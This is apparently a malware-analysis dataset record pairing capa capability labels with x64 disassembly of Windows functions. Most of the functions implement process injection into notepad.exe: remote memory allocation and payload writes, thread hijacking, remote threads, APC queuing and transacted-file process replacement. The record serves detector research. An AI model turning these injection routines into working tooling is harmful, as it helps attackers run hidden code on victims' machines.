joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001d00
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x80
mov rdi, rcx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r14, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
cmp rdi, 0x40000000
jbe 0x180001d40
lea rax, [rdi - 0x40000000]
cmp r14, rax
cmovb r14, rax
mov rsi, qword [0x180006878]
lea r15, [rdi + 0x40000000]
cmp rcx, r15
cmovbe r15, rcx
sub r15, 0xfff
test rsi, rsi
je 0x180001d7e
cmp rsi, r14
jb 0x180001d76
cmp rsi, r15
jae 0x180001d76
cmp qword [rsi + 8], 0
jne 0x180001f47
mov rsi, qword [rsi]
test rsi, rsi
jne 0x180001d61
mov qword [rsp + 0xa0], rbx
mov rbx, rdi
mov qword [rsp + 0xa8], rbp
mov qword [rsp + 0xb0], r12
mov r12d, 0x40
cmp rdi, r14
jb 0x180001e12
nop dword [rax]
nop dword [rax + rax]
mov ebp, dword [rsp + 0x48]
mov rax, rbx
xor edx, edx
div rbp
sub rbx, rdx
sub rbx, rbp
cmp rbx, r14
jb 0x180001e09
nop word [rax + rax]
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x180001e09
cmp dword [rsp + 0x70], 0x10000
je 0x180001e8b
mov rbx, qword [rsp + 0x58]
cmp rbx, rbp
jb 0x180001e09
sub rbx, rbp
cmp rbx, r14
jae 0x180001dd0
test rsi, rsi
jne 0x180001ef0
cmp rdi, r15
ja 0x180001f2f
nop dword [rax + rax]
mov ebp, dword [rsp + 0x48]
xor edx, edx
mov rax, rdi
mov ebx, ebp
div rbp
mov eax, ebp
sub rax, rdx
add rax, rdi
mov rdi, rax
cmp rax, r15
ja 0x180001f2f
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x180001f2f
cmp dword [rsp + 0x70], 0x10000
je 0x180001ec1
xor edx, edx
lea edi, [rbp - 1]
add rdi, qword [rsp + 0x68]
add rdi, qword [rsp + 0x50]
mov rax, rdi
div rbx
sub rdi, rdx
cmp rdi, r15
jbe 0x180001e42
jmp 0x180001f2f
test rbx, rbx
je 0x180001e09
mov r9d, r12d
mov edx, 0x1000
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x180001ef0
cmp rbx, r14
jae 0x180001db0
jmp 0x180001e12
test rdi, rdi
je 0x180001f2f
mov r9d, r12d
mov edx, 0x1000
mov r8d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x180001ef0
cmp rdi, r15
jbe 0x180001e20
jmp 0x180001f2f
xor edx, edx
lea rcx, [rsi + 0x40]
mov dword [rsi + 0x10], edx
nop dword [rax]
mov qword [rcx], rdx
mov rax, rcx
mov qword [rsi + 8], rcx
add r12, 0x40
add rcx, 0x40
mov rdx, rax
cmp r12, 0xfc0
jbe 0x180001f00
mov rax, qword [0x180006878]
mov qword [rsi], rax
mov qword [0x180006878], rsi
mov r12, qword [rsp + 0xb0]
mov rbp, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xa0]
mov rax, rsi
mov rsi, qword [rsp + 0xb8]
add rsp, 0x80
pop r15
pop r14
pop rdi
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Enumerate threads
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x670
movaps xmmword [rsp + 0x660], xmm6
mov edi, ecx
mov rax, qword [0x14004b3b8]
xor rax, rsp
mov qword [rsp + 0x658], rax
lea rdx, section..rdata
lea rcx, [rsp + 0x540]
mov r8d, 0x115
call fcn.140010710
cmp edi, 0xffffffff
jne 0x1400010df
mov ecx, 0x18
call fcn.140009dbc
mov rsi, rax
xorps xmm6, xmm6
movaps xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov ecx, 0x68
call fcn.140009dbc
mov rdi, rax
movaps xmmword [rax], xmm6
movaps xmmword [rax + 0x10], xmm6
movaps xmmword [rax + 0x20], xmm6
movaps xmmword [rax + 0x30], xmm6
movaps xmmword [rax + 0x40], xmm6
movaps xmmword [rax + 0x50], xmm6
mov qword [rax + 0x60], 0
lea rcx, str.___Creating_target_process_in_suspended_mode...__n
call fcn.140001220
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rdi
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
lea rdx, str.C:WindowsSystem32_notepad.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x1400011f8
mov edi, dword [rsi + 0x10]
mov dword [rsp + 0xa0], 0x10000b
mov dword [rsp + 0x50], 0x1c
xor esi, esi
mov ecx, 0x1fffff
xor edx, edx
mov r8d, edi
call qword [sym.imp.KERNEL32.DLL_OpenProcess]
mov r14, rax
mov dword [rsp + 0x20], 0x40
mov r8d, 0x115
mov rcx, rax
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov rbx, rax
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x540]
mov r9d, 0x115
mov rcx, r14
mov rdx, rax
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov ecx, 4
xor edx, edx
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov r14, rax
lea r15, [rsp + 0x50]
mov rcx, rax
mov rdx, r15
call sub.KERNEL32.DLL_Thread32First
nop dword [rax + rax]
mov rcx, r14
mov rdx, r15
call sub.KERNEL32.DLL_Thread32Next
test eax, eax
je 0x14000119a
cmp dword [rsp + 0x5c], edi
jne 0x140001170
mov r8d, dword [rsp + 0x58]
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_OpenThread]
mov rsi, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_SuspendThread]
lea rdi, [rsp + 0x70]
mov rcx, rsi
mov rdx, rdi
call qword [sym.imp.KERNEL32.DLL_GetThreadContext]
mov qword [rsp + 0x168], rbx
mov rcx, rsi
mov rdx, rdi
call qword [sym.imp.KERNEL32.DLL_SetThreadContext]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_ResumeThread]
mov rcx, qword [rsp + 0x658]
xor rcx, rsp
call fcn.140009f90
movaps xmm6, xmmword [rsp + 0x660]
add rsp, 0x670
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rcx, str.____Error_creating_process_in_suspended_mode:__d_n
mov edx, eax
call fcn.140001220
mov ecx, 0xffffffff
call fcn.140018328
int3
Function at 0x1400012a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rsi
push rdi
sub rsp, 0x188
movaps xmmword [rsp + 0x170], xmm6
mov esi, ecx
mov rax, qword [0x14004b3b8]
xor rax, rsp
mov qword [rsp + 0x168], rax
lea rdx, section..rdata
lea rcx, [rsp + 0x50]
mov r8d, 0x115
call fcn.140010710
cmp esi, 0xffffffff
jne 0x140001377
mov ecx, 0x18
call fcn.140009dbc
mov rsi, rax
xorps xmm6, xmm6
movaps xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov ecx, 0x68
call fcn.140009dbc
mov rdi, rax
movaps xmmword [rax], xmm6
movaps xmmword [rax + 0x10], xmm6
movaps xmmword [rax + 0x20], xmm6
movaps xmmword [rax + 0x30], xmm6
movaps xmmword [rax + 0x40], xmm6
movaps xmmword [rax + 0x50], xmm6
mov qword [rax + 0x60], 0
lea rcx, str.___Creating_target_process_in_suspended_mode...__n
call fcn.140001220
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rdi
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
lea rdx, str.C:WindowsSystem32_notepad.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x140001430
mov esi, dword [rsi + 0x10]
lea rcx, str.Injecting_to_PID:__d
mov edx, esi
call fcn.140001450
mov ecx, 0x1fffff
xor edx, edx
mov r8d, esi
call qword [sym.imp.KERNEL32.DLL_OpenProcess]
mov rsi, rax
mov dword [rsp + 0x20], 0x40
mov r8d, 0x115
mov rcx, rax
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x50]
mov r9d, 0x115
mov rcx, rsi
mov rdx, rax
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
mov r9, rdi
call qword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rsp + 0x168]
xor rcx, rsp
call fcn.140009f90
movaps xmm6, xmmword [rsp + 0x170]
add rsp, 0x188
pop rdi
pop rsi
ret
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rcx, str.____Error_creating_process_in_suspended_mode:__d_n
mov edx, eax
call fcn.140001220
mov ecx, 0xffffffff
call fcn.140018328
int3
Function at 0x1400014d0
Capabilities:
Create process on windows
Create process suspended
Inject apc
Resume thread
Use process replacement

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x78
movaps xmmword [rsp + 0x60], xmm6
mov rdi, rdx
mov rbx, rcx
mov rax, qword [0x14004b3b8]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov ecx, 0x18
call fcn.140009dbc
mov rsi, rax
xorps xmm6, xmm6
movaps xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov ecx, 0x68
call fcn.140009dbc
mov r14, rax
movaps xmmword [rax], xmm6
movaps xmmword [rax + 0x10], xmm6
movaps xmmword [rax + 0x20], xmm6
movaps xmmword [rax + 0x30], xmm6
movaps xmmword [rax + 0x40], xmm6
movaps xmmword [rax + 0x50], xmm6
mov qword [rax + 0x60], 0
lea rcx, str.___Creating_target_process_in_suspended_mode...__n
call fcn.140001220
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], r14
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rdx, str.C:WindowsSystem32_notepad.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x140001670
lea rcx, str.___Allocate_memory_in_target_process..._n
call fcn.140001220
mov rcx, qword [rsi]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r8, rdi
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov r14, rax
mov rcx, qword [rsi]
mov qword [rsp + 0x20], 0
mov rdx, rax
mov r8, rbx
mov r9, rdi
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x14000168e
lea rcx, str.___Memory_allocated_at_address:__p__n
mov rdx, r14
call fcn.140001220
lea rcx, str.___Changing_memory_protection_RW____RX_n
call fcn.140001220
mov rcx, qword [rsi]
lea rax, [rsp + 0x54]
mov qword [rsp + 0x20], rax
mov rdx, r14
mov r8, rdi
mov r9d, 0x20
call qword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
test eax, eax
je 0x140001697
lea rcx, str.___Puting_our_payload_in_queue...._n
call fcn.140001220
mov rdx, qword [rsi + 8]
mov rcx, r14
xor r8d, r8d
call qword [sym.imp.KERNEL32.DLL_QueueUserAPC]
lea rcx, str.___Resuming_Thread...._n
call fcn.140001220
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.DLL_ResumeThread]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140009f90
mov eax, 1
movaps xmm6, xmmword [rsp + 0x60]
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r14
ret
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rcx, str.____Error_creating_process_in_suspended_mode:__d_n
mov edx, eax
call fcn.140001220
mov ecx, 0xffffffff
call fcn.140018328
lea rcx, str.____Error_writing_payload_into_the_remote_rocess...__n
jmp 0x14000169e
lea rcx, str.____Error_changing_memory_protection...__n
call fcn.140001220
mov ecx, 0xffffffff
call fcn.140018328
int3
Function at 0x140002300
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0xd70
movaps xmmword [rsp + 0xd60], xmm6
mov ebx, ecx
mov rax, qword [0x14004b3b8]
xor rax, rsp
mov qword [rsp + 0xd58], rax
lea rdx, str._UWH
lea rcx, [rsp + 0x70]
mov r8d, 0xcdd
call fcn.140010710
cmp ebx, 0xffffffff
jne 0x1400023d8
mov ecx, 0x18
call fcn.140009dbc
mov rsi, rax
xorps xmm6, xmm6
movaps xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov ecx, 0x68
call fcn.140009dbc
mov rdi, rax
movaps xmmword [rax], xmm6
movaps xmmword [rax + 0x10], xmm6
movaps xmmword [rax + 0x20], xmm6
movaps xmmword [rax + 0x30], xmm6
movaps xmmword [rax + 0x40], xmm6
movaps xmmword [rax + 0x50], xmm6
mov qword [rax + 0x60], 0
lea rcx, str.___Creating_target_process_in_suspended_mode...__n
call fcn.140001220
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rdi
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rdx, str.C:WindowsSystem32_notepad.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x1400024e3
mov ebx, dword [rsi + 0x10]
mov ecx, 0x1fffff
xor edx, edx
mov r8d, ebx
call qword [sym.imp.KERNEL32.DLL_OpenProcess]
cmp rax, 0xffffffffffffffff
je 0x1400024cd
mov rsi, rax
lea rcx, [0x14003ff64]
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
lea rdx, str.RtlCreateUserThread
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
test rax, rax
je 0x1400024aa
mov rdi, rax
lea rcx, str.Injecting_to_PID:__d
mov edx, ebx
call fcn.140001450
mov dword [rsp + 0x20], 0x40
mov r8d, 0xcdd
mov rcx, rsi
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
test rax, rax
je 0x1400024aa
mov rbx, rax
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x70]
mov r9d, 0xcdd
mov rcx, rsi
mov rdx, rax
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x38], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call rdi
mov rcx, qword [rsp + 0xd58]
xor rcx, rsp
call fcn.140009f90
movaps xmm6, xmmword [rsp + 0xd60]
add rsp, 0xd70
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.____Couldnt_find_the_target_process_n
call fcn.14001ea38
mov ecx, 0xffffffff
call fcn.140018328
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rcx, str.____Error_creating_process_in_suspended_mode:__d_n
mov edx, eax
call fcn.140001220
mov ecx, 0xffffffff
call fcn.140018328
int3
Function at 0x140002a00
Capabilities:
Get file size
Read file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x50
mov rsi, rcx
mov rax, qword [0x14004b3b8]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
lea rcx, str.MsgBox.exe
mov edx, 0x80000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140002ac9
mov rdi, rax
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edx, eax
mov qword [rsi], rdx
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
test rax, rax
je 0x140002ad2
mov rbx, rax
mov dword [rsp + 0x44], 0
mov r8d, dword [rsi]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x140002adb
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140009f90
mov rax, rbx
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.____Unable_to_open_payload_file...__n
jmp 0x140002ae2
lea rcx, str.____Failed_to_allocated_memory_for_payload_buffer...__n
jmp 0x140002ae2
lea rcx, str.____Failed_to_read_payload_buffer...__n
call fcn.14001ea38
mov ecx, 0xffffffff
call fcn.140018328
int3
Function at 0x140008250
Capabilities:
Map section object

Disassembly:
push rsi
sub rsp, 0x70
mov rax, rcx
mov rcx, qword [0x14004b3b8]
xor rcx, rsp
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x58], 0
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x30], rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
lea r8, [rsp + 0x58]
mov rcx, rdx
mov rdx, rax
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
je 0x1400082d7
mov esi, eax
lea rcx, [0x14004c680]
cmp eax, 0x40000003
jne 0x140008327
lea rdx, str._WARNING__Image_could_not_be_mapped_at_its_original_base__If_the_payload_has_no_relocations__it_wont_work__n
call fcn.1400034e0
lea rcx, [0x14004c7b0]
lea rdx, str.Mapped_Base:_t
call fcn.1400034e0
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov edx, 0xfffff1ff
and edx, dword [rax + rcx + 0x18]
or edx, 0x800
mov dword [rax + rcx + 0x18], edx
mov rdx, qword [rsp + 0x58]
mov rcx, rax
call fcn.140008380
lea rdx, [0x140040afb]
mov rcx, rax
call fcn.1400034e0
mov rsi, qword [rsp + 0x58]
jmp 0x140008361
lea rdx, str._ERROR__NtMapViewOfSection_failed__status:
call fcn.1400034e0
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov edx, 0xfffff1ff
and edx, dword [rax + rcx + 0x18]
or edx, 0x800
mov dword [rax + rcx + 0x18], edx
mov rcx, rax
mov edx, esi
call fcn.1400038e0
mov rcx, rax
call fcn.140003be0
xor esi, esi
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140009f90
mov rax, rsi
add rsp, 0x70
pop rsi
ret
Function at 0x1400096b0
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x1400096e2
movzx eax, word [rcx]
cmp eax, 0x5a4d
jne 0x1400096e2
movsxd rax, dword [rcx + 0x3c]
cmp rax, 0x400
jg 0x1400096e2
cmp dword [rcx + rax], 0x4550
jne 0x1400096e2
movzx eax, word [rcx + rax + 0x18]
cmp eax, 0x20b
sete al
ret
xor eax, eax
ret

Function at 0x1400096f0
Capabilities:
Write file on windows

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x68
mov edi, r8d
mov rbx, rdx
mov r14, rcx
mov rax, qword [0x14004b3b8]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.ktmw32.dll_CreateTransaction
cmp rax, 0xffffffffffffffff
je 0x140009802
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
mov rcx, r14
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileTransactedW]
cmp rax, 0xffffffffffffffff
je 0x140009817
mov r14, rax
mov dword [rsp + 0x5c], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x5c]
mov rcx, rax
mov rdx, rbx
mov r8d, edi
call qword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x140009827
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 2
lea rcx, [rsp + 0x50]
mov edx, 0xf001f
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtCreateSection]
test eax, eax
je 0x140009876
lea rcx, [0x14004c680]
lea rdx, str.NtCreateSection_failed
jmp 0x140009810
lea rcx, [0x14004c680]
lea rdx, str.Failed_to_create_transaction_
call fcn.1400034e0
jmp 0x14000984d
lea rcx, [0x14004c680]
lea rdx, str.Failed_to_create_transacted_file:
jmp 0x140009835
lea rcx, [0x14004c680]
lea rdx, str.Failed_writing_payload__Error:
call fcn.1400034e0
mov rsi, rax
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rcx, rsi
mov edx, eax
call fcn.1400089b0
mov rcx, rax
call fcn.140003be0
mov rsi, 0xffffffffffffffff
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140009f90
mov rax, rsi
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, rsi
call sub.ktmw32.dll_RollbackTransaction
test eax, eax
je 0x14000989b
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rsi, qword [rsp + 0x50]
jmp 0x14000985c
lea rcx, [0x14004c680]
lea rdx, str.RollbackTransaction_failed:
call fcn.1400034e0
mov rsi, rax
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov ecx, 0xfffff1ff
and ecx, dword [rsi + rax + 0x18]
or ecx, 0x800
mov dword [rsi + rax + 0x18], ecx
jmp 0x14000983d
Function at 0x1400098d0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rdi, rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r14d, r14d
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x1400099ff
mov rsi, rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rax
xor edx, edx
mov r8d, 2
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileMappingW]
test rax, rax
je 0x1400099c3
mov rbx, rax
mov qword [rsp + 0x20], 0
mov rcx, rax
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_MapViewOfFile]
test rax, rax
je 0x1400099ce
mov r15, rax
mov rcx, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edx, eax
mov qword [rdi], rdx
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
test rax, rax
je 0x1400099e1
mov r14, rax
mov r8, qword [rdi]
mov rcx, rax
mov rdx, r15
call fcn.140010710
mov rcx, r15
call qword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
mov rdi, qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, rbx
call rdi
mov rcx, rsi
call rdi
jmp 0x1400099ff
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x1400099fc
mov rdi, qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, rbx
call rdi
mov rcx, rsi
call rdi
jmp 0x1400099fc
lea rcx, [0x14004c680]
lea rdx, str.Could_not_allocate_memory_in_the_current_process
call fcn.1400034e0
mov rcx, rax
call fcn.140003be0
xor r14d, r14d
mov rax, r14
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x140009aa0
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x28
mov eax, edx
mov rdx, rcx
lea r9, str._SystemRoot_SysWoW64_notepad.exe
lea rcx, str._SystemRoot__system32_notepad.exe
test r8b, r8b
cmovne rcx, r9
mov r8d, eax
call qword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
mov al, 1
add rsp, 0x28
ret
Function at 0x14000b9c8
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x14000b9f6
xor eax, eax
jmp 0x14000badc
cmp qword [rcx + 0x68], 0
je 0x14000ba07
call fcn.14000aec4
jmp 0x14000badc
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14000ba1e
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000ba20
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000ba52
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.140010710
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14000bad6
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x14000ba89
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x14000bab2
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14001dd08
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14000bad6
cmp rsi, rbx
ja 0x14000ba90
test rsi, rsi
je 0x14000bad6
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14001dd08
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x14000e6c4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test rax, rax
je 0x14000e70e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000e70e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000e70e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000e70e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000e70e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000e710
xor al, al
add rsp, 0x28
ret